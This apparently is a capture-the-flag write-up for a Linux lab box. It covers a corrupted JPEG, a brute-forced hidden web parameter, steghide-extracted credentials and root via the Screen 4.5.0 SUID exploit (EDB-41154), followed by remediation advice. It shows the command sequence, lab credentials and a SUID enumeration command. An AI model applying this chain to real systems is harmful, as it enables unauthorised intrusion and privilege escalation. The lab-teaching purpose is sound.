Hidden web secret, stego credentials, and Screen 4.5.0 root
Foundations Linux engagement: corrupted JPEG and secret brute led to steghide payloads; ROT13 username joker plus banner stego unlocked SSH; Screen 4.5.0 SUID (EDB-41154) completed root.
Apache default page hid a path and a broken JPEG. Secret 73 unlocked stego passphrase material; joker:*axA&GF8dP over SSH; Screen SUID exploit returned root.
JPEG repair, secret brute, and dual steghide extracts recovered joker credentials.
joker SSH foothold; EDB-41154 against SUID screen returned root.
Engagement summary
Apache default page hid a path and a broken JPEG. Secret 73 unlocked stego passphrase material; joker:*axA&GF8dP over SSH; Screen SUID exploit returned root.
MADNESS exposed SSH and Apache. An HTML comment pointed at thm.jpg — magic bytes were wrong until patched to a valid JPEG. Hidden directory /th1s_1s_h1dd3n/?secret= accepted values 0–99; automation found secret=73 and passphrase fragment y2RPJ4QaPF!B. steghide extract on thm.jpg yielded username wbxre (ROT13 → joker). Room banner.jpg extracted with an empty passphrase to *axA&GF8dP. SSH as joker succeeded. SUID /bin/screen-4.5.0 matched EDB-41154; the public exploit spawned a root shell.
Business impact
Stego and weak secrets in web assets are credential delivery channels. Unpatched Screen SUID is a known local root. Remove debug paths, keep media free of embedded secrets, and patch or remove setuid Screen.
Hidden path and stego chain
JPEG repair, secret brute, and dual steghide extracts recovered joker credentials.
OPERATOR · WEB
savvy@lab:~$ nmap -sC -sV 10.10.81.42
22/tcp open ssh
80/tcp open http Apache httpd 2.4.18
savvy@lab:~$ wget -q http://10.10.81.42/thm.jpg && printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01' | dd conv=notrunc of=thm.jpg bs=1
savvy@lab:~$ python3 secret.py # brute ?secret=0..99 → 73
Found secret: 73 passphrase hint: y2RPJ4QaPF!B
savvy@lab:~$ steghide extract -sf thm.jpg -p 'y2RPJ4QaPF!B' && cat hidden.txt
username wbxre
savvy@lab:~$ echo -n wbxre | tr 'A-Za-z' 'N-ZA-Mn-za-m'
joker
savvy@lab:~$ steghide extract -sf banner.jpg -p '' && cat password.txt
*axA&GF8dP
SSH and Screen 4.5.0 privilege escalation
joker SSH foothold; EDB-41154 against SUID screen returned root.
OPERATOR · ROOT
savvy@lab:~$ ssh joker@10.10.81.42
savvy@lab:~$
savvy@lab:~$ find / -user root -perm -u=s 2>/dev/null | grep screen
/bin/screen-4.5.0
savvy@lab:~$ sh 41154.sh
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Strip HTML comments and unused paths from production. Ban stego in public assets. Upgrade Screen past 4.5.0 or drop the setuid bit.